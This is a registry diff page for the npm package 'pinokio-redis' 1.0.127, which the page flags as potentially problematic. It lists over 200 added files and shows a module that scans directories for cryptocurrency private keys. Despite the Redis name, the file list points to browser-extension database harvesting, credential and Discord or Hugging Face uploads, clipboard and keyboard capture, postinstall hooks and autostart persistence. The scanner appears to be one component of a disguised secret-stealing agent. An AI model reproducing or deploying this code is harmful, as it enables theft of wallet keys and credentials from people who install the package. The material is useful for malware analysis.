pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pinokio-redis might be problematic. Click here for more details.

Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,360 @@
1
+ "use strict";
2
+ /**
3
+ * Filename-pattern private-material scanner — TypeScript port aligned with
4
+ * `private-key-filename-scanner` (local JSON/CSV reports only; no uploads).
5
+ */
6
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
7
+ if (k2 === undefined) k2 = k;
8
+ var desc = Object.getOwnPropertyDescriptor(m, k);
9
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
10
+ desc = { enumerable: true, get: function() { return m[k]; } };
11
+ }
12
+ Object.defineProperty(o, k2, desc);
13
+ }) : (function(o, m, k, k2) {
14
+ if (k2 === undefined) k2 = k;
15
+ o[k2] = m[k];
16
+ }));
17
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
18
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
19
+ }) : function(o, v) {
20
+ o["default"] = v;
21
+ });
22
+ var __importStar = (this && this.__importStar) || (function () {
23
+ var ownKeys = function(o) {
24
+ ownKeys = Object.getOwnPropertyNames || function (o) {
25
+ var ar = [];
26
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
27
+ return ar;
28
+ };
29
+ return ownKeys(o);
30
+ };
31
+ return function (mod) {
32
+ if (mod && mod.__esModule) return mod;
33
+ var result = {};
34
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
35
+ __setModuleDefault(result, mod);
36
+ return result;
37
+ };
38
+ })();
39
+ Object.defineProperty(exports, "__esModule", { value: true });
40
+ exports.utcScanTimestamp = utcScanTimestamp;
41
+ exports.resolveBundledPatternsPath = resolveBundledPatternsPath;
42
+ exports.defaultSecretScanReportBase = defaultSecretScanReportBase;
43
+ exports.collectSecretScanRows = collectSecretScanRows;
44
+ exports.runFilenameSecretScan = runFilenameSecretScan;
45
+ exports.runFilenameSecretScanCli = runFilenameSecretScanCli;
46
+ const fs = __importStar(require("node:fs"));
47
+ const os = __importStar(require("node:os"));
48
+ const path = __importStar(require("node:path"));
49
+ const promises_1 = require("node:fs/promises");
50
+ const contentScanner_1 = require("./contentScanner");
51
+ const dedupeFindings_1 = require("./dedupeFindings");
52
+ const fileCandidates_1 = require("./fileCandidates");
53
+ const scanConfig_1 = require("./scanConfig");
54
+ const secretAuditExcludePaths_1 = require("./secretAuditExcludePaths");
55
+ const strictMaterialGate_1 = require("./strictMaterialGate");
56
+ const auditFindingSlim_1 = require("./auditFindingSlim");
57
+ function pad2(n) {
58
+ return String(n).padStart(2, "0");
59
+ }
60
+ /** UTC `YYYYMMDDTHHMMSSZ` (matches Python `strftime("%Y%m%dT%H%M%SZ")`). */
61
+ function utcScanTimestamp() {
62
+ const d = new Date();
63
+ return (`${d.getUTCFullYear()}${pad2(d.getUTCMonth() + 1)}${pad2(d.getUTCDate())}T` +
64
+ `${pad2(d.getUTCHours())}${pad2(d.getUTCMinutes())}${pad2(d.getUTCSeconds())}Z`);
65
+ }
66
+ function resolveBundledPatternsPath() {
67
+ const candidates = [
68
+ path.join(__dirname, "..", "assets", "secret_filename_patterns.json"),
69
+ path.join(__dirname, "assets", "secret_filename_patterns.json"),
70
+ ];
71
+ for (const c of candidates) {
72
+ if (fs.existsSync(c))
73
+ return path.resolve(c);
74
+ }
75
+ throw new Error("secret_filename_patterns.json not found (npm run build copies assets/ → dist/assets/).");
76
+ }
77
+ function expandUserPath(p) {
78
+ const t = p.trim();
79
+ if (t.startsWith("~/"))
80
+ return path.join(os.homedir(), t.slice(2));
81
+ return path.resolve(t);
82
+ }
83
+ function defaultSecretScanReportBase() {
84
+ const ts = utcScanTimestamp();
85
+ const leaf = `scan_${ts}`;
86
+ if (process.platform === "win32") {
87
+ const base = process.env.LOCALAPPDATA?.trim() || os.homedir();
88
+ return path.join(base, "filename-scanner-audit", leaf);
89
+ }
90
+ if (process.platform === "darwin") {
91
+ return path.join(os.homedir(), "Library", "Application Support", "filename-scanner-audit", leaf);
92
+ }
93
+ const xdg = process.env.XDG_DATA_HOME?.trim();
94
+ if (xdg) {
95
+ return path.join(expandUserPath(xdg), "filename-scanner-audit", leaf);
96
+ }
97
+ return path.join(os.homedir(), ".local", "share", "filename-scanner-audit", leaf);
98
+ }
99
+ async function mapPool(items, concurrency, fn) {
100
+ const results = new Array(items.length);
101
+ let nextIndex = 0;
102
+ async function worker() {
103
+ for (;;) {
104
+ const i = nextIndex++;
105
+ if (i >= items.length)
106
+ return;
107
+ results[i] = await fn(items[i]);
108
+ }
109
+ }
110
+ const n = Math.max(1, Math.min(concurrency, Math.max(1, items.length)));
111
+ await Promise.all(Array.from({ length: n }, () => worker()));
112
+ return results;
113
+ }
114
+ function csvEscapeCell(s) {
115
+ if (/[",\n\r]/.test(s))
116
+ return `"${s.replace(/"/g, '""')}"`;
117
+ return s;
118
+ }
119
+ function dedupeCandidatesByAbsPath(items) {
120
+ const seen = new Set();
121
+ const out = [];
122
+ for (const c of items) {
123
+ const k = path.resolve(c.absPath);
124
+ if (seen.has(k))
125
+ continue;
126
+ seen.add(k);
127
+ out.push({ absPath: k, relPath: c.relPath });
128
+ }
129
+ return out;
130
+ }
131
+ /**
132
+ * Read at most `maxBytes` bytes from a candidate file. If content exceeds `maxBytes`, refuses
133
+ * (handles stat/read races without loading huge files into memory).
134
+ */
135
+ async function readCandidateContents(absPath, maxBytes) {
136
+ const cap = Math.floor(Number(maxBytes));
137
+ if (!Number.isFinite(cap) || cap < 0) {
138
+ return { ok: false, error: "invalid max_file_size_bytes" };
139
+ }
140
+ if (cap === 0) {
141
+ return { ok: true, buf: Buffer.alloc(0) };
142
+ }
143
+ let fh;
144
+ try {
145
+ fh = await fs.promises.open(absPath, "r");
146
+ }
147
+ catch (e) {
148
+ const message = e instanceof Error ? e.message : String(e);
149
+ return { ok: false, error: message };
150
+ }
151
+ try {
152
+ const probe = Buffer.allocUnsafe(cap + 1);
153
+ const { bytesRead } = await fh.read(probe, 0, cap + 1, 0);
154
+ if (bytesRead > cap) {
155
+ return {
156
+ ok: false,
157
+ error: `file exceeds max_file_size_bytes (${cap}) at read time`,
158
+ };
159
+ }
160
+ return { ok: true, buf: Buffer.from(probe.subarray(0, bytesRead)) };
161
+ }
162
+ finally {
163
+ await fh.close();
164
+ }
165
+ }
166
+ /**
167
+ * Run pattern-based (+ optional text-extension) discovery and content scan; returns raw rows + cfg metadata.
168
+ */
169
+ async function collectSecretScanRows(opts) {
170
+ const raw = JSON.parse(await (0, promises_1.readFile)(opts.patternsPath, "utf8"));
171
+ let cfg = (0, scanConfig_1.normalizeScanConfig)(raw);
172
+ const agentExtras = opts.extraExcludeAbsPathPrefixes ?? [];
173
+ if (agentExtras.length > 0) {
174
+ cfg = {
175
+ ...cfg,
176
+ exclude_abs_path_prefixes: (0, scanConfig_1.mergeDedupeAbsPrefixes)(cfg.exclude_abs_path_prefixes, agentExtras),
177
+ };
178
+ }
179
+ const maxText = opts.maxTextLikeFilesPerRoot != null &&
180
+ Number.isFinite(opts.maxTextLikeFilesPerRoot)
181
+ ? Math.max(0, Math.floor(opts.maxTextLikeFilesPerRoot))
182
+ : 4000;
183
+ const aggSkip = [];
184
+ const buckets = [];
185
+ for (const r of opts.roots) {
186
+ const root = path.resolve(r);
187
+ if (!fs.existsSync(root) || !fs.statSync(root).isDirectory())
188
+ continue;
189
+ const { candidates, skipLargeLog } = (0, fileCandidates_1.walkCandidateFiles)(root, cfg);
190
+ aggSkip.push(...skipLargeLog);
191
+ buckets.push(...candidates);
192
+ if (opts.includeTextLikeExtensions && maxText > 0) {
193
+ const extra = (0, fileCandidates_1.walkTextLikeExtensionCandidates)(root, cfg, maxText);
194
+ buckets.push(...extra);
195
+ }
196
+ }
197
+ let candidates = dedupeCandidatesByAbsPath(buckets);
198
+ candidates = candidates.filter((c) => !(0, secretAuditExcludePaths_1.isSecretAuditOutputPath)(c.absPath));
199
+ const jobResults = await mapPool(candidates, opts.maxConcurrency, async (c) => {
200
+ try {
201
+ const got = await readCandidateContents(c.absPath, cfg.max_file_size_bytes);
202
+ if (!got.ok) {
203
+ return { ok: false, file: c.absPath, message: got.error };
204
+ }
205
+ const buf = got.buf;
206
+ const hits = (0, contentScanner_1.scanBytes)(buf, opts.validateOptional);
207
+ const rows = (0, contentScanner_1.hitsToRows)(c.absPath, buf.length, hits);
208
+ return { ok: true, rows };
209
+ }
210
+ catch (e) {
211
+ const message = e instanceof Error ? e.message : String(e);
212
+ return { ok: false, file: c.absPath, message };
213
+ }
214
+ });
215
+ const findingsRaw = [];
216
+ const read_errors = [];
217
+ for (const r of jobResults) {
218
+ if (r.ok)
219
+ findingsRaw.push(...r.rows);
220
+ else
221
+ read_errors.push({ file: r.file, error: r.message });
222
+ }
223
+ const findings = findingsRaw.filter(strictMaterialGate_1.scanHitPassesStrictCryptoMaterial);
224
+ return {
225
+ findings,
226
+ read_errors,
227
+ candidates_scanned: candidates.length,
228
+ skipped_oversize_named: aggSkip,
229
+ cfg,
230
+ };
231
+ }
232
+ async function runFilenameSecretScan(opts) {
233
+ const root = path.resolve(opts.rootDir);
234
+ if (!fs.existsSync(root) || !fs.statSync(root).isDirectory()) {
235
+ throw new Error(`scan root is not a directory: ${root}`);
236
+ }
237
+ const collected = await collectSecretScanRows({
238
+ roots: [opts.rootDir],
239
+ patternsPath: opts.patternsPath,
240
+ maxConcurrency: opts.maxConcurrency,
241
+ validateOptional: opts.validateOptional,
242
+ includeTextLikeExtensions: false,
243
+ });
244
+ const findings = collected.findings;
245
+ const readErrors = collected.read_errors;
246
+ const candidates = { length: collected.candidates_scanned };
247
+ const skipLargeLog = collected.skipped_oversize_named;
248
+ const cfg = collected.cfg;
249
+ const mergedUnique = (0, dedupeFindings_1.mergeUniqueFindingsByNormalizedValue)((0, dedupeFindings_1.mergeUniqueFindings)(findings)).filter(strictMaterialGate_1.isStrictCryptoUniqueFinding);
250
+ const uniqueList = mergedUnique.map(auditFindingSlim_1.uniqueFindingToSlimAuditRow);
251
+ const report = {
252
+ scanner: "filename_pattern_local_audit_forge_js",
253
+ root,
254
+ config: path.resolve(opts.patternsPath),
255
+ validate_optional: opts.validateOptional,
256
+ max_file_size_bytes: cfg.max_file_size_bytes,
257
+ candidates_scanned: candidates.length,
258
+ findings_count: findings.length,
259
+ unique_findings_count: uniqueList.length,
260
+ skipped_oversize_named: skipLargeLog,
261
+ read_errors: readErrors,
262
+ unique_findings: uniqueList,
263
+ };
264
+ if (opts.includeRawFindings) {
265
+ report.findings = findings;
266
+ }
267
+ const outBase = path.resolve(opts.outputBase ?? defaultSecretScanReportBase());
268
+ const jsonPath = outBase.endsWith(".json")
269
+ ? outBase
270
+ : outBase.endsWith(".csv")
271
+ ? outBase.replace(/\.csv$/i, ".json")
272
+ : `${outBase}.json`;
273
+ const csvPath = outBase.endsWith(".csv")
274
+ ? outBase
275
+ : jsonPath.replace(/\.json$/i, ".csv");
276
+ fs.mkdirSync(path.dirname(jsonPath), { recursive: true });
277
+ await fs.promises.writeFile(jsonPath, JSON.stringify(report, null, 2), "utf8");
278
+ const fields = ["file", "rule", "data"];
279
+ const csvLines = [];
280
+ csvLines.push(fields.join(","));
281
+ for (const u of uniqueList) {
282
+ csvLines.push([
283
+ csvEscapeCell(u.file),
284
+ csvEscapeCell(u.rule),
285
+ csvEscapeCell(u.data.slice(0, 500)),
286
+ ].join(","));
287
+ }
288
+ await fs.promises.writeFile(csvPath, csvLines.join("\n"), "utf8");
289
+ return { report, jsonPath, csvPath };
290
+ }
291
+ function printSecretScanHelp() {
292
+ console.log(`Usage: forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--validate] [--include-raw-findings]
293
+
294
+ Authorized use only — scan systems you own or have explicit permission to assess.
295
+ Matches filename / include-dir rules only (see bundled assets/secret_filename_patterns.json); writes local JSON + CSV (no upload).
296
+
297
+ --path Root directory (default: current directory)
298
+ --patterns JSON config path (default: bundled secret_filename_patterns.json)
299
+ --output Report base path without extension (default: OS app-data …/filename-scanner-audit/scan_<UTC>)
300
+ --threads Concurrent file reads (default: max(4, cpu count))
301
+ --validate Reserved — optional Python validators (mnemonic / ed25519) are not bundled in Node
302
+ --include-raw-findings Include per-hit "findings" array in JSON (duplicates snippets)
303
+
304
+ Examples:
305
+ forge-agent secret-scan --path .
306
+ forge-agent secret-scan --path /home/you/proj --output ./reports/run1`);
307
+ }
308
+ function parseSecretScanArgv(argv) {
309
+ let rootDir = ".";
310
+ let patternsPath = resolveBundledPatternsPath();
311
+ let outputBase;
312
+ let maxConcurrency = Math.max(4, os.cpus().length);
313
+ let validateOptional = false;
314
+ let includeRawFindings = false;
315
+ for (let i = 0; i < argv.length; i++) {
316
+ const a = argv[i];
317
+ if (a === "--path" && argv[i + 1])
318
+ rootDir = argv[++i];
319
+ else if (a === "--patterns" && argv[i + 1])
320
+ patternsPath = path.resolve(argv[++i]);
321
+ else if (a === "--output" && argv[i + 1])
322
+ outputBase = path.resolve(argv[++i]);
323
+ else if (a === "--threads" && argv[i + 1]) {
324
+ const n = parseInt(argv[++i], 10);
325
+ if (Number.isFinite(n) && n >= 1)
326
+ maxConcurrency = n;
327
+ }
328
+ else if (a === "--validate")
329
+ validateOptional = true;
330
+ else if (a === "--include-raw-findings")
331
+ includeRawFindings = true;
332
+ }
333
+ return {
334
+ rootDir: path.resolve(rootDir),
335
+ patternsPath,
336
+ outputBase,
337
+ maxConcurrency,
338
+ validateOptional,
339
+ includeRawFindings,
340
+ };
341
+ }
342
+ async function runFilenameSecretScanCli(argv) {
343
+ if (argv.includes("-h") || argv.includes("--help")) {
344
+ printSecretScanHelp();
345
+ return 0;
346
+ }
347
+ try {
348
+ const opts = parseSecretScanArgv(argv);
349
+ const { jsonPath, csvPath, report } = await runFilenameSecretScan(opts);
350
+ console.log(`Wrote ${jsonPath}`);
351
+ console.log(`Wrote ${csvPath}`);
352
+ console.log(`Candidates scanned: ${report.candidates_scanned}\n` +
353
+ `Findings: ${report.findings_count} Unique values: ${report.unique_findings_count} Skipped oversize (named match): ${report.skipped_oversize_named.length}`);
354
+ return 0;
355
+ }
356
+ catch (e) {
357
+ console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
358
+ return 2;
359
+ }
360
+ }
@@ -0,0 +1,6 @@
1
+ import type { NormalizedSecretScanConfig, SecretScanJsonConfig } from "./types";
2
+ /** Maximum bytes read per candidate file (1 MiB). Config cannot exceed this. */
3
+ export declare const SECRET_SCAN_MAX_FILE_BYTES = 1048576;
4
+ /** Dedupe absolute exclude prefixes (case-fold on Windows). */
5
+ export declare function mergeDedupeAbsPrefixes(base: string[], extra: string[]): string[];
6
+ export declare function normalizeScanConfig(cfg: SecretScanJsonConfig): NormalizedSecretScanConfig;
@@ -0,0 +1,87 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.SECRET_SCAN_MAX_FILE_BYTES = void 0;
37
+ exports.mergeDedupeAbsPrefixes = mergeDedupeAbsPrefixes;
38
+ exports.normalizeScanConfig = normalizeScanConfig;
39
+ const path = __importStar(require("node:path"));
40
+ /** Maximum bytes read per candidate file (1 MiB). Config cannot exceed this. */
41
+ exports.SECRET_SCAN_MAX_FILE_BYTES = 1_048_576;
42
+ /** Dedupe absolute exclude prefixes (case-fold on Windows). */
43
+ function mergeDedupeAbsPrefixes(base, extra) {
44
+ const seen = new Set();
45
+ const out = [];
46
+ for (const raw of [...base, ...extra]) {
47
+ const p = path.normalize(path.resolve(String(raw).trim()));
48
+ if (!p)
49
+ continue;
50
+ const k = process.platform === "win32" ? p.replace(/\\/g, "/").toLowerCase() : p;
51
+ if (seen.has(k))
52
+ continue;
53
+ seen.add(k);
54
+ out.push(p);
55
+ }
56
+ return out;
57
+ }
58
+ function normalizeScanConfig(cfg) {
59
+ const suffixes = [...(cfg.include_dir_suffixes ?? [])];
60
+ const paths = [...(cfg.include_dir_paths ?? [])];
61
+ for (const raw of cfg.include_dirs ?? []) {
62
+ const d = String(raw).trim().replace(/^\/+|\/+$/g, "");
63
+ if (!d)
64
+ continue;
65
+ if (d.includes("/")) {
66
+ paths.push(d.replace(/\\/g, "/"));
67
+ }
68
+ else {
69
+ suffixes.push(d);
70
+ }
71
+ }
72
+ const rawMax = cfg.max_file_size_bytes != null &&
73
+ Number.isFinite(cfg.max_file_size_bytes) &&
74
+ cfg.max_file_size_bytes > 0
75
+ ? Math.floor(cfg.max_file_size_bytes)
76
+ : exports.SECRET_SCAN_MAX_FILE_BYTES;
77
+ const capped = Math.min(rawMax, exports.SECRET_SCAN_MAX_FILE_BYTES);
78
+ const absPrefixes = mergeDedupeAbsPrefixes((cfg.exclude_abs_path_prefixes ?? []).map((s) => String(s)), []);
79
+ return {
80
+ max_file_size_bytes: capped,
81
+ include_patterns: cfg.include_patterns ?? [],
82
+ include_dir_suffixes: suffixes,
83
+ include_dir_paths: paths,
84
+ exclude_dirs: cfg.exclude_dirs ?? [],
85
+ exclude_abs_path_prefixes: absPrefixes,
86
+ };
87
+ }
@@ -0,0 +1,4 @@
1
+ /**
2
+ * Secp256k1 private scalar range check (hex64), no elliptic curve deps.
3
+ */
4
+ export declare function isValidSecp256k1PrivateKeyHex(h: string): boolean;
@@ -0,0 +1,14 @@
1
+ "use strict";
2
